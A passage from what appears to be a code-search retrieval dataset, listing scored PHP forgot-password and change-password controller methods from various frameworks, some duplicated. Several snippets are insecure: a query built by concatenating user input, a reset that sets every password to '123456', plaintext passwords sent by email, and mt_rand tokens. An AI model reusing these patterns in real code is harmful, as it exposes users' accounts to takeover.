"e19ae2631068c2a294be87df4bc7415d", "score": "0.7612994", "text": "public function forgotPassword() {\n \n }", "title": "" }, { "docid": "745de306cf4dfd0f502f89859ba9b3e3", "score": "0.75705606", "text": "public function forgotUserPassword()\n {\n return view('client.login2');\n }", "title": "" }, { "docid": "faa132b35224a0238b23921d0827b09a", "score": "0.7547392", "text": "public function forgottenAction() {\n if ($this->_auth->getIdentity()) {\n $this->getFlash()->addMessage('You are already logged in.');\n $this->_redirect('/users');\n }\n $form = new ForgotPasswordForm();\n $this->view->form = $form;\n if($this->getRequest()->isPost() && $form->isValid($this->_request->getPost())){\n if ($form->isValid($form->getValues())) {\n $results = $this->_users->findUser($form->getValue('email'), $form->getValue('username'));\n if($results) {\n $length = 6;\n $newKey = \"\";\n // define possible characters\n $possible = \"0123456789bcdfghjkmnpqrstvwxyz\";\n $i = 0;\n // add random characters to $password until $length is reached\n while ($i < $length) {\n // pick a random character from the possible ones\n $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);\n // we don't want this character if it's already in the password\n if (!strstr($newKey, $char)) {\n $newKey .= $char;\n $i++;\n }\n }\n $updatesdata = array (\n 'activationKey' => $newKey,\n );\n $to = array(array(\n 'email' => $form->getValue('email'),\n 'name' => $results[0]['fullname']\n ));\n $assignData = array_merge(\n $results[0],\n array('activationKey' => $newKey)\n ,$form->getValues()\n );\n $this->_helper->mailer($assignData, 'forgottenPassword', $to );\n $where = array();\n $where[] = $this->_users->getAdapter()\n ->quoteInto('username = ?', (string)$form->getValue('username'));\n $where[] = $this->_users->getAdapter()\n ->quoteInto('email = ?', (string)$form->getValue('email'));\n $this->_users->update($updatesdata, $where);\n $assignData = array_merge($updatesdata,$form->getValues());\n $this->getFlash()->addMessage('Please check your email');\n $this->_redirect('/users/account/resetpassword');\n } else {\n $this->getFlash()->addMessage('Either your email address/or username is incorrect.');\n }\n } else {\n $this->getFlash()->addMessage('You have not filled in the form correctly');\n }\n }\n }", "title": "" }, { "docid": "9e4f892e18e60448456a290358ea4538", "score": "0.753077", "text": "public function forgotPassword()\n\t{\n\t}", "title": "" }, { "docid": "ef92e481f21c9e0e42129108227f179d", "score": "0.7524476", "text": "public function forgotPassword() {\n\t\t$this->isAuthorized ( 0 );\n\t\tif ($this->request->is ( 'post' )) {\n\t\t\t$user = $this->Users->findByEmail ( $this->request->data ( 'email' ) )->first ();\n\t\t\tif ($user == Null) {\n\t\t\t\t$this->Flash->error ( 'Il n\\'y a pas de compte lié à cette adresse mail' );\n\t\t\t\t$this->redirect ( '/users/forgot_password' );\n\t\t\t} else {\n\t\t\t\t$user = $this->__generatePasswordToken ( $user );\n\t\t\t\tif ($this->Users->save ( $user ) && $this->__sendForgotPasswordEmail ( $user->id )) {\n\t\t\t\t\t$this->Flash->success ( 'Un email vous a été envoyé' );\n\t\t\t\t\t$this->redirect('/users/login');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "f904093ab398ad4054d6891b2c51e2b0", "score": "0.75201696", "text": "function forgotten_password()\r\n {\t\r\n \t$data['heading'] = $this->lang->line('FAL_forgotten_password_label');\r\n \t$data['fal'] = $this->fal_front->forgotten_password();\r\n\t\t$this->load->view($this->_container, $data); \r\n }", "title": "" }, { "docid": "7c6271b7bbb69ea3d26ee7c8397b4ed2", "score": "0.7502717", "text": "public function showPasswordForm() {\n $title = 'Cahnge password';\n return view('frontend.user.change_password', compact('title'));\n }", "title": "" }, { "docid": "b98ef955f0809754238f0a9fdd14fea2", "score": "0.74618566", "text": "public function chmp(){\n echo \"<fieldset><legend>Change my password :</legend>\";\n echo \"<form action ='' method='POST' autocomplet='off'>\";\n echo \"<table>\";\n echo \"<tr></tr><td><input type='password' name='oldpass' placeholder='Ancien mot de passe' value='' maxlength='20' autocomplete='off'></td>\";\n echo \"<tr></tr><td><input type='password' name='newpass' placeholder='Nouveau mot de passe' value='' maxlength='20' autocomplete='off'></td>\";\n echo \"<tr></tr><td><input type='password' name='confnewpass' placeholder='Confirmation' value='' maxlength='20' autocomplete='off'></td>\";\n echo \"<tr></tr><td><input type='submit' name='conf' value='Valider'></td>\";\n echo \"</table>\";\n echo \"</form>\";\n echo \"</fieldset>\";\n }", "title": "" }, { "docid": "0f9852834ece5997b17568d6862198cd", "score": "0.7444843", "text": "public function actionForgottenPassword()\n {\n $this->layout = 'clean';\n $this->view->params['bodyClass'] = 'full-page';\n $this->view->params['globalWrapperClass'] = 'auth-panel-wrapper';\n\n $model = new PasswordResetRequestForm;\n\n if ($model->load(Yii::$app->request->post()) && $model->enquirePasswordReset()) {\n Yii::$app->session->setFlash('enquirySuccess');\n }\n\n return $this->render('forgotten_password', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "0474c8e61a020a2e57c40b7132e4f39f", "score": "0.7434981", "text": "public function actionForgotPassword()\n\t{\n\n\t\t$model=new ForgotPasswordForm;\n\n\t\t// collect user input data\n\n\t\tif(isset($_POST['ForgotPasswordForm']))\n\t\t{\n\n\t\t\t$model->attributes=$_POST['ForgotPasswordForm'];\n\t\t\t// validate user input and redirect to the previous page if valid\n\t\t\tif($model->validate()){\n\n\t\t\t\t$user = User::model()->find('email = \"' . $model->email . '\"');\n\t\t\t\tif($user === null)\n\t\t\t\t\t$this->render('message', array('title' => 'Error', 'message' => 'There is no account with that email address.'));\n\n\n\t\t\t\telse{\n\t\t\t\t\t$password = $this->createRandomPassword();\n\t\t\t\t\t$user->password = $user->createHash($password);\n\t\t\t\t\t$user->save();\n\t\t\t\t\tif($this->emailNewPassword($password, $user))\n\t\t\t\t\t\t$this->render('message', array('title' => 'New Password Sent', 'message' => 'We have changed your password and emailed it to you.'));\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->render('message', array('title' => 'Password Reset Error', 'message' => 'An error has occurred while resetting your password'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\t$this->render('forgotpassword', array('model' => $model));\n\n\n\n\t\t}\n\t\telse\n\t\t\t$this->render('forgotpassword', array('model' => $model));\n\t}", "title": "" }, { "docid": "c067c816a92a5e4a0b9f401e27c2e07b", "score": "0.7420958", "text": "public function forgotPassword()\n {\n return View::make(Config::get('confide::forgot_password_form'));\n }", "title": "" }, { "docid": "c067c816a92a5e4a0b9f401e27c2e07b", "score": "0.7420958", "text": "public function forgotPassword()\n {\n return View::make(Config::get('confide::forgot_password_form'));\n }", "title": "" }, { "docid": "c067c816a92a5e4a0b9f401e27c2e07b", "score": "0.7420958", "text": "public function forgotPassword()\n {\n return View::make(Config::get('confide::forgot_password_form'));\n }", "title": "" }, { "docid": "4a201d480dc32b57b258057f8d07d1c9", "score": "0.73744375", "text": "public function forgotPasswordAction() {\r\n\t\t$token = $this->getFormToken();\r\n\t\t$this->view->assign('formToken', $token);\r\n\t\t$this->response->setHeader('X-Ajaxlogin-formToken', $token);\r\n\t}", "title": "" }, { "docid": "91bab416053b4043a4ec0956c9f50454", "score": "0.73594534", "text": "public function doForgotPassword()\n {\n if (Confide::forgotPassword(Input::get('email'))) {\n $notice_msg = Lang::get('confide::confide.alerts.password_forgot');\n return Redirect::action('UsersController@login')\n ->with('notice', $notice_msg);\n } else {\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_forgot');\n return Redirect::action('UsersController@doForgotPassword')\n ->withInput()\n ->with('error', $error_msg);\n }\n }", "title": "" }, { "docid": "91bab416053b4043a4ec0956c9f50454", "score": "0.73594534", "text": "public function doForgotPassword()\n {\n if (Confide::forgotPassword(Input::get('email'))) {\n $notice_msg = Lang::get('confide::confide.alerts.password_forgot');\n return Redirect::action('UsersController@login')\n ->with('notice', $notice_msg);\n } else {\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_forgot');\n return Redirect::action('UsersController@doForgotPassword')\n ->withInput()\n ->with('error', $error_msg);\n }\n }", "title": "" }, { "docid": "91bab416053b4043a4ec0956c9f50454", "score": "0.73594534", "text": "public function doForgotPassword()\n {\n if (Confide::forgotPassword(Input::get('email'))) {\n $notice_msg = Lang::get('confide::confide.alerts.password_forgot');\n return Redirect::action('UsersController@login')\n ->with('notice', $notice_msg);\n } else {\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_forgot');\n return Redirect::action('UsersController@doForgotPassword')\n ->withInput()\n ->with('error', $error_msg);\n }\n }", "title": "" }, { "docid": "5a7509645f73876b35270809d27e1385", "score": "0.7358818", "text": "public function forgottenPasswordAction(){\n\n\t\t$form = new ForgottenPasswordForm();\n\n\t\t$request = $this->getRequest();\n\n\t\tif ($request->isPost()) {\n\n\t\t\t$form->setInputFilter(new ForgottenPasswordFilter($this->getServiceLocator()));\n\t\t\t$form->setData($request->getPost());\n\n\t\t\tif ($form->isValid()) {\n\t\t\t\t$data = $form->getData();\n\t\t\t\t\n\t\t\t\t$usr_email = $data['usr_email'];\n\n\t\t\t\t$usersTable = $this->getUsersTable();\n\t\t\t\t\n\t\t\t\t$auth = $usersTable->getUserByEmail($usr_email);\n\n\t\t\t\t$password = $this->generatePassword();\n\n\t\t\t\t$auth->password = $this->encriptPassword($this->getStaticSalt(), $password, $auth->password_salt);\n\t\t\t\t//$usersTable->changePassword($auth->usr_id, $password);\n\t\t\t\t// or\n\n\t\t\t\t$usersTable->saveUser($auth);\n\t\t\t\t$this->sendPasswordByEmail($usr_email, $password);\n\t\t\t\t$this->flashMessenger()->addMessage($usr_email);\n\t\t\t\t//return $this->redirect()->toRoute('user', array('controller'=>'user', 'action'=>'index'));\n\n\t\t\t\t$view_message = \"La solicitud de restablecimiento de contraseña ha sido enviada a <span id='email-dest'>\".$usr_email.\"</span>.<br />\n\t\t\t\t\tPor favor, compruebe su buzón de entrada y regrese a la página de inicio de sesión.\";\n\n\t\t\t\treturn new ViewModel(array('form' => $form, 'message' => $view_message));\n\t\t\t}\n\t\t}\n\t\treturn new ViewModel(array('form' => $form));\n\n\t}", "title": "" }, { "docid": "5ca7b07c3b5fba42f833c6623855e5a8", "score": "0.7356508", "text": "public function forgot_password() {\n\t\tif (!empty($this->request->data)) {\n\t\t\t$theUser = $this->{$this->modelClass}->find('first', array(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t$this->{$this->modelClass}->alias . '.email' => $this->request->data[$this->modelClass]['email']\n\t\t\t\t)\n\t\t\t));\n\t\t\tif (empty($theUser)) {\n\t\t\t\treturn $this->notice('forgot_password_failed');\n\t\t\t}\n\n\t\t\t$ticket = $this->{$this->modelClass}->createTicket($theUser[$this->modelClass]['email']);\n\t\t\tif (empty($ticket)) {\n\t\t\t\treturn $this->notice('forgot_password_failed');\n\t\t\t}\n\n\t\t\t$link = current($this->Event->trigger('getShortUrl', array('url' => InfinitasRouter::url(array('action' => 'reset_password', $ticket)))));\n\n\t\t\t$theUser[$this->modelClass]['reset_link'] = InfinitasRouter::url($link['ShortUrls']);\n\t\t\ttry {\n\t\t\t\t$this->Event->trigger('systemEmail', array(\n\t\t\t\t\t'email' => array(\n\t\t\t\t\t\t'email' => $theUser[$this->modelClass]['email'],\n\t\t\t\t\t\t'name' => $theUser[$this->modelClass]['prefered_name'] ?: $theUser[$this->modelClass]['username'],\n\t\t\t\t\t\t'newsletter' => 'Users.forgot-password'\n\t\t\t\t\t),\n\t\t\t\t\t'var' => $theUser\n\t\t\t\t));\n\t\t\t} catch (Exception $e) {\n\t\t\t\treturn $this->notice($e);\n\t\t\t}\n\t\t\t$this->notice('forgot_password');\n\t\t}\n\n\t\t$this->saveRedirectMarker();\n\t}", "title": "" }, { "docid": "e3bbe149d45e9caf6b9dc89358a857d3", "score": "0.7355524", "text": "public function postForgotPasswordAction()\n {\n if ($this->request->isPost()) {\n $form = new ForgotPasswordForm();\n // Send emails only is config value is set to true\n if ($this->getDI()->get('config')->useMail) {\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flashSession->error($message);\n }\n return $this->response->redirect('login/forgot/account');\n } else {\n $user = BaseUsers::findFirstByEmail($this->request->getPost('email')); \n if (!$user) {\n return $this->response->redirect('login/forgot/account');\n } else {\n $resetPassword = new BaseResetPassword();\n $resetPassword->usersId = $user->id;\n if ($resetPassword->save()) {\n return $this->response->redirect('login/forgot/reset');\n } else {\n foreach ($resetPassword->getMessages() as $message) {\n $this->flashSession->error($message);\n }\n }\n }\n }\n } else {\n $this->flashSession->warning('Emails are currently disabled. Change config key \"useMail\" to true to enable emails.');\n }\n }\n return $this->response->redirect('login/forgot/account'); \n }", "title": "" }, { "docid": "d92a592eb707e37910aba0f060b31bcc", "score": "0.733313", "text": "public function forgotPasswordAction()\n {\n $token = $this->getFormToken();\n $this->view->assign('formToken', $token);\n $this->response->setHeader('X-Ajaxlogin-formToken', $token);\n }", "title": "" }, { "docid": "90aeb5d8f67e136c1ccfa2ea4866d8bb", "score": "0.7302505", "text": "public function forgotPassword() {\n return view('auth.password.forgot');\n }", "title": "" }, { "docid": "0fc6a953a963415bf7fc756b0c1369de", "score": "0.7295735", "text": "protected function changepwdAction()\n {\n $request = $this->getRequest();\n \n if( !$request->isPost() ){\n return $this->_helper->redirector('login');\n }\n \n $this->view->form = new Application_Model_Login_ChangeForm(); \n }", "title": "" }, { "docid": "c5a2079b14fc131e94bbd95dc5d88096", "score": "0.7293131", "text": "public function actionPostForgotPassword()\n {\n $this->setLayout('forgot-password');\n\n $validator = \\Validator::make(['email' => Request::input('username')], [\n 'email' => [\n 'required',\n Rule::exists('admins')->where(function ($query) {\n $query->whereIsActive(1);\n })\n ]\n ]\n );\n\n if ($validator->fails()) {\n $this->layout->{'messages'} = $validator->errors()->getMessages();\n } else {\n// Insert token reset in to database\n $token = $this->insertPasswordResetToken();\n// Send email request\n $this->sendEmailPasswordResetToken($token, Request::input('username'));\n// Mark as submit\n \\Session::flash('status-password-reset', 'Success. Follow the link we emailed to you. <br/> <br/> Thank You!');\n// Go back to previous page\n return redirect(URL::panel('system/admins/auth/forgot-password'));\n }\n }", "title": "" }, { "docid": "6fd76728b07ac3922f77512c2c5e0280", "score": "0.72893965", "text": "public function partner_forgot_password() {\n $this->User_activity->insert_user_activity();\n $data['main_content'] = 'partner_forgot_password';\n $this->load->view('includes/partner_template', $data);\n }", "title": "" }, { "docid": "236783091c2aea68600bdce609c409db", "score": "0.7277197", "text": "public function showForgetPasswordForm()\n {\n return view('auth.passwords.email');\n }", "title": "" }, { "docid": "f32fcc655f783bfdbdf4d4abda1f151e", "score": "0.7257232", "text": "public function forgot()\n\t{\n $user = $this->auth->getLogged();\n\n return View::make('chief::users.password.forgot',compact('user'));\n\t}", "title": "" }, { "docid": "a31877b483410638d996a2c83b0f4faf", "score": "0.7254717", "text": "protected function forgotPassword(){\n return view('front_page.forgot_password');\n }", "title": "" }, { "docid": "94368206e5155a190754c2f5adbb269c", "score": "0.72459435", "text": "public function formReset()\n {\n return $this->render('@auth/password/reset');\n }", "title": "" }, { "docid": "2c354e6026ec2cbd6a157b846929a9ea", "score": "0.7238078", "text": "public function actionGetForgotPassword()\n {\n $this->setLayout('forgot-password');\n }", "title": "" }, { "docid": "a95e9f7cfaedf21dcac28703308d9797", "score": "0.72270393", "text": "public function forgot() {\n\t\t$this->layout = 'forgot';\n\t\t// if we get the post information, try to authenticate\n\t\tif ($this->request->is('post')) {\n\t\t\t$emailCount = $this->User->find('first', array(\n\t\t\t\t'conditions' => array('User.email' =>$this->request->data['User']['email'])\n\t\t\t));\n\t\t\tif(!empty($emailCount)){\n\t\t\t\t// Update Password Field\n\t\t\t\t$id=$emailCount['User']['id'];\n\t\t\t\t$this->User->id=$id;\n\t\t\t\t$this->User->saveField(\"password\",\"123456\");\n\t\t\t\t$dbEmail=$emailCount['User']['email'];\n\t\t\t\t// Email Send\n\t\t\t\t$this->Email->from = '[email protected]';\n\t\t\t\t$this->Email->to = $dbEmail;\n\t\t\t\t$this->set('heading', 'You Login Password');\n\t\t\t\t$this->set('content', \"Your Updated Password is: 123456\");\n\t\t\t\t$this->Email->subject = 'Forgot Password';\n\t\t\t\t$this->Email->layout = 'report_msg';\n\t\t\t\t$this->Email->template = 'text_template';\n\t\t\t\t$this->Email->additionalParams=\"-f$dbEmail\";\n\t\t\t\t$this->Email->sendAs = 'html';\n\t\t\t\ttry {\n\t\t\t\t\tif ($this->Email->send()) {\n\t\t\t\t\t\t$this->Session->setFlash(__('Password Send to your Email ID'));\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (phpmailerException $e) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tcatch (exception $e) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Invalid Email ID'));\n\t\t\t}\n\t\t} \n\t}", "title": "" }, { "docid": "c52f073c8998490bb2060dee0b1869e2", "score": "0.72262037", "text": "public function passwordAction()\n {\n $this->View()->assign('sTarget', $this->Request()->getParam('sTarget'));\n\n if ($this->Request()->isPost()) {\n $checkUser = $this->sendResetPasswordConfirmationMail($this->Request()->getParam('email'));\n if (!empty($checkUser['sErrorMessages'])) {\n $this->View()->assign('sFormData', $this->Request()->getPost());\n $this->View()->assign('sErrorFlag', $checkUser['sErrorFlag']);\n $this->View()->assign('sErrorMessages', $checkUser['sErrorMessages']);\n } else {\n $this->View()->assign('sSuccess', true);\n }\n }\n }", "title": "" }, { "docid": "7686162a9fe83f1e99a877892404fe55", "score": "0.7225159", "text": "public function forgotPassword(Request $request);", "title": "" }, { "docid": "ea634284ff298be49d3d387647f98027", "score": "0.722158", "text": "public function change_password()\n\t{\n\t $view = new View();\n\t $view->setTemplate('view/user/_password.php');\n\t echo $view->renderPartial();\n\t}", "title": "" }, { "docid": "0f8cff79d05a4a754febd1bf8b25dec6", "score": "0.721928", "text": "private function view_password_reset_form()\n {\n $data['form_error'] = $this->error;\n $this->load_view('login/reset', $data);\n $this->end_now();\n }", "title": "" }, { "docid": "34b06bebdbd31196e216d11e7866f2f0", "score": "0.72124565", "text": "public function forgotpasswordAction()\n {\n // Grab our form\n $form = new Forgotpassword();\n\n // Get our view\n $view = $this->getView();\n\n // Grab request\n $request = $this->getRequest();\n\n // Return URL, if we've got it.\n $returnUrl = $request->getPost('return', $request->getQuery('return', false));\n\n // Get authentication service.\n $authService = $this->getLocator()->get('AuthService');\n\n // No need to be here if we're logged in.\n if($authService->hasIdentity()) {\n if($returnUrl) {\n return $this->redirect()->toUrl($returnUrl);\n } else {\n return $this->redirect()->toRoute('dashboard');\n }\n }\n\n // Error messages, if we've get them.\n $messages = array();\n\n // Process signup, if post\n if($request->isPost()) {\n $form->setData($request->getPost());\n\n if($form->isValid()) {\n // Grab the clean data\n $data = $form->getData();\n\n // See if our email matches up.\n if(strpos($data['username'], '@') === FALSE) {\n $user = $this->getModel()->get('User')\n ->fetchByUserLogin($data['username']);\n } else {\n $user = $this->getModel()->get('User')\n ->fetchByUserEmail($data['username']);\n }\n\n // If it does, set us up an email. If it doesn't, error.\n if(count($user)) {\n $user = $user[0];\n\n // Set a new UUID for the user.\n $this->getModel()->get('User')->update(array(\n 'user_activation_key' => new Expression('uuid()'),\n ), array(\n 'ID' => $user->getId(),\n )\n );\n\n // Reload the user\n $user = $this->getModel()->get('User')\n ->fetchById($user->getId());\n\n // UUID\n $uuid = $user->getUserActivationKey();\n\n // Email a link\n $link = $this->url()->fromRoute('recoverpassword', array('uid' => $uuid), array('force_canonical' => true));\n\n $this->getLocator()\n ->get('Email')\n ->send(\n $user->getUserEmail(),\n 'Tigerdile Password Reset Request',\n <<<EOS\n<p>Hello there!</p>\n<p>You requested a password reset on Tigerdile.com! Or at least, we think you requested it; if you didn't, you may safely ignore this email.</p>\n<p>To reset your password, click this link:</p>\n<p><a href=\"{$link}\" target=\"_blank\">{$link}</a></p>\n<p>If you have any trouble at all, please reply to this email. This mailbox is actively monitored and we're very happy to help you!</p>\n<p>&nbsp;</p>\n<p>- The Tigerdile Admins</p>\nEOS\n ,\n true\n );\n\n $messages[] = \"Reset request sent! Check your mail.\";\n } else {\n $messages[] = \"We don't recognize that user. Please check your spelling, or contact support.\";\n }\n }\n }\n\n // Push return URL to view.\n $view->returnUrl = $returnUrl;\n\n // Push form to view\n $view->form = $form;\n\n // Push errors to view\n $view->messages = $messages;\n\n return $view;\n }", "title": "" }, { "docid": "e1e85c5afe22e8a68a99557002e4aeeb", "score": "0.7200308", "text": "public function forgotPassword($login) {\r\n \r\n }", "title": "" }, { "docid": "4f677c8b02184fc497dc246636f5e6e7", "score": "0.7197241", "text": "public function passwordAction()\r\n\t{\r\n\t\tif ($this->_getParam('email')) { // $post->getAlpha('email')) {\r\n\t\t\t$email = $this->_getParam('email'); // $post->testEmail('email');\r\n\t\t\t$emailValidator = new Zend_Validate_EmailAddress();\r\n\t\t\tif ($emailValidator->isValid($this->_getParam('email')) === false) {\r\n\t\t\t\t$this->view->addError('email', 'Invalid email address.');\r\n\t\t\t} else {\r\n\t\t\t\tif ($this->authService->resetPassword($email)) {\r\n\t\t\t\t\t$this->view->flash(\"Your password has been sent\");\r\n\t\t\t\t\t$this->redirect('user', 'login');\r\n\t\t\t\t\t\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->view->addError('email', 'Could not send password.');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$this->getResponse()->appendBody($this->view->render('user/password.php'));\r\n\t}", "title": "" }, { "docid": "cf9eafc522cfd2c612a1512c94c28896", "score": "0.71958286", "text": "public function passwordAction()\n {\n $this->View()->assign('sTarget', $this->Request()->getParam('sTarget'));\n\n if ($this->Request()->isPost()) {\n $errors = $this->sendResetPasswordConfirmationMail($this->Request()->getParam('email'));\n if (!empty($errors['sErrorMessages'])) {\n $this->View()->assign('sFormData', $this->Request()->getPost());\n $this->View()->assign('sErrorFlag', $errors['sErrorFlag']);\n $this->View()->assign('sErrorMessages', $errors['sErrorMessages']);\n } else {\n $this->View()->assign('sSuccess', true);\n }\n }\n }", "title": "" }, { "docid": "77fe0ddae0db4e00c78e000b2fd2692b", "score": "0.71851593", "text": "function forgot_password()\n {\n if ($this->lib_user_login->is_logged_in())\n {\n redirect();\n }\n \n $this->load->helper(array('form'));\n $this->load->library(array('form_validation'));\n \n $data['error'] = array();\n \n if ($this->form_validation->run())\n {\n // validation ok\n if (!is_null($result = $this->lib_user_login->forgot_password(\n $this->form_validation->set_value('login'))))\n {\n // Send email with new password\n $this->load->library('lib_send_email');\n $this->lib_send_email->general('Change your password', $result['email'], 'forgot_password', $result);\n \n $this->_show_message('Check mail to reset password. '.anchor(uri_string(), 'Reset again'), 'Check Mail');\n return;\n }\n else\n {\n $data['error'] = $this->lib_user_login->get_error_message();\n }\n }\n \n $this->_show_message($this->load->view('auth/forgot_password', $data, TRUE), 'Forgot Password');\n }", "title": "" }, { "docid": "0d1df731b91791590be8bf8a29460fb3", "score": "0.7169103", "text": "public function action_password_change()\n\t{\n\t\t$message = '';\n\t\treturn Response::forge(View::forge('startpage/password_change',array('message'=>$message)));\n\t}", "title": "" }, { "docid": "8ff888c56d516c472dc54f32d4e480be", "score": "0.7166318", "text": "function changePassword()\n\n {\n\n return view('employees.change_password_form');\n\n }", "title": "" }, { "docid": "1ea5609c2a14387b7c0018f2ba4ceb4b", "score": "0.7166269", "text": "public function changePassword()\n {\n $id = $this->session->id;\n $data['agents'] = $this->App_model->get_onces($id, 'tb_ca_assets', 'asset_date_created');\n\n $data['title'] = \"Modification du mot de passe utilisateur\";\n\n $data['view'] = 'grocerycrud/users_office/profil/change_password';\n $this->load->view('grocerycrud/users_office/users_main', $data);\n }", "title": "" }, { "docid": "91184f1bea82582163eeb4e9e19d1301", "score": "0.7147492", "text": "function forgotpass()\n\t{\n\t\t load_admin_view('forgot_password_view');\n\t}", "title": "" }, { "docid": "7948f233d448d0ea8bbf89644d2a8ca2", "score": "0.71421397", "text": "function forgotPassword()\n\t{\n\t\tif ($this->request->is('post'))\n\t\t{\n\t\t\t$fields = array('Teacher.id','Teacher.email_address','Teacher.name');\n\t\t\t$conditions = array(\"Teacher.email_address\" => $this->request->data['Teacher']['email_address'],);\n\t\t\t$user = $this->Teacher->find('first',array('conditions' => $conditions,'fields'=>$fields));\n\t\t\tif($user)\n\t\t\t{\n\t\t\t\t$newPassword = substr( str_shuffle( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$' ) , 0 , 15 );\n\t\t\t\t$user['Teacher']['password'] = $newPassword;\n\t\t\t\tif($this->Teacher->saveModification($user))\n\t\t\t\t{\n\n\t\t\t\t\t$body = 'New password has been generated for '.$user['Teacher']['name'].'<br>\n\t\t\t\t\t\t\t<p>Username : '.$user['Teacher']['email_address'].'</p>\n\t\t\t\t\t\t\t\t\t<p>Password : '.$newPassword.'</p>\n\t\t\t\t\t\t\t\t\t\t\tPlease create a new password once you login. <br>\n\t\t\t\t\t\t\t\t\t\t\t<br><br>This is a autogenerated mail. Please do not reply to this mail.';\n\t\t\t\t\t$to = $user['Teacher']['email_address'];\n\t\t\t\t\t$subject = 'Ecology Explorers New Password';\n\t\t\t\t\t$this->sendEmail($body,$to,$subject);\n\t\t\t\t\t\t\n\t\t\t\t\t$this->Session->setFlash('A new password has been sent to the given email address. Please login with the new password.');\n\t\t\t\t\t$this->redirect(array('controller' => 'teachers','action' => 'login'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->Session->setFlash('The given email address does not exist. Plese check the email address provided.');\n\t\t\t}\n\n\t\t}\n\t}", "title": "" }, { "docid": "d5bc6874563936f78f16ef263d81a2a8", "score": "0.71355224", "text": "public function myresetpasswordAction() {\n\n\t\t//remove all elements, only password and repeat stays\n\t\t$this->form = new User_Form_Edit();\n\t\t$elems = $this->form->getElements();\n\t\tforeach ($elems as $elem) {\n\t\t\tif (!(\t$elem->getName() == User::COL_PASSWORD\n\t\t\t|| $elem->getName() == User_Form_Edit::PASSWORD_CLONE\n\t\t\t|| $elem->getName() == 'submit'\n\t\t\t|| $elem->getName() == User::COL_GUID)) {\n\t\t\t\t$this->form->removeElement($elem->getName());\n\t\t\t}\n\t\t}\n\n\t\tif ($this->getRequest()->isPost()) {\n\t\t\tif ($this->form->isValid($this->getRequest()->getParams())) {\n\t\t\t\t//update password\n\t\t\t\t$pass = $this->form->getValue(User::COL_PASSWORD);\n\t\t\t\tif ($pass != $this->getRequest()->getParam(User_Form_Edit::PASSWORD_CLONE)) {\n\t\t\t\t\t$element = $this->form->getElement(User_Form_Edit::PASSWORD_CLONE);\n\t\t\t\t\t$element->addError(\"Error: Your password and the repeating don't match.\");\n\t\t\t\t\t$this->form->markAsError();\n\t\t\t\t\treturn $this->render('form');\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t credit: http://www.geekzilla.co.uk/view8AD536EF-BC0D-427F-9F15-3A1BC663848E.htm\n\t\t\t\t Author \t: Paul Hayman\n\t\t\t\t Published \t: 14 June 2006\n\t\t\t\t */\n\t\t\t\t$regexStringGuid = \"^(\\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\\}{0,1})$^\";\n\t\t\t\t$vali = new Zend_Validate_Regex($regexStringGuid);\n\t\t\t\t\n\t\t\t\t$userGuid = $this->getRequest()->getParam(User::COL_GUID);\n\t\t\t\tif ($vali->isValid($userGuid)) {\n\t\t\t\t\t$user = new User();\n\t\t\t\t\t$select = $user->select();\n\t\t\t\t\t$where = $user->getAdapter()->quoteInto(User::COL_GUID.' = ?', $userGuid, 'string');\n\t\t\t\t\t$select->where($where);\n\t\t\t\t\t$rowset = $user->fetchAll($select);\n\t\t\t\t\tif ($rowset->count() == 1) {\n\t\t\t\t\t\t$data = array(User::COL_PASSWORD => \"{SHA}\" . base64_encode( pack( \"H*\", sha1($pass))),\n\t\t\t\t\t\t User::COL_GUID => null);\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t$user->update($data, $where);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcatch (Exception $e) {\n\t\t\t\t\t\t\tthrow new Exception ('Error: Password was not changed'.$e->getMessage());\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//no or too much users with this GUID!\n\t\t\t\t\t\t//TODO log in IDS?\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t//param != GUID\n\t\t\t\t\t//TODO log in IDS?\n\t\t\t\t}\n\t\t\t\t$this->view->message = 'password was changed';\n\t\t\t\t$this->render('message');\n\t\t\t} else {\n\t\t\t\t//not valid\n\t\t\t\t$this->render('form');\n\t\t\t}\n\t\t} else {\n\t\t\t//not post\n\t\t\t$userGuid = $this->getRequest()->getParam(User::COL_GUID);\n\t\t\t$this->form->setValues(array (User::COL_GUID => $userGuid));\n\t\t\t$this->view->form = $this->form;\n\t\t\t$this->render('form');\n\t\t}\n\t}", "title": "" }, { "docid": "50fd51914fb825b428082b7b55e5a3c3", "score": "0.7135365", "text": "function resetPassword()\n {\n $infoMessage = null;\n $formErrors = null;\n\n $form = new FormResetPassword();\n if ($form->validate()) {\n $nonce = $form->getSubmitValue('form_nonce');\n if (Nonce::verifyNonce('Login.login', $nonce)) {\n $formErrors = $this->resetPasswordFirstStep($form);\n if (empty($formErrors)) {\n $infoMessage = Piwik::translate('Login_ConfirmationLinkSent');\n }\n } else {\n $formErrors = array($this->getMessageExceptionNoAccess());\n }\n } else {\n // if invalid, display error\n $formData = $form->getFormData();\n $formErrors = $formData['errors'];\n }\n\n $view = new View('@Login/resetPassword');\n 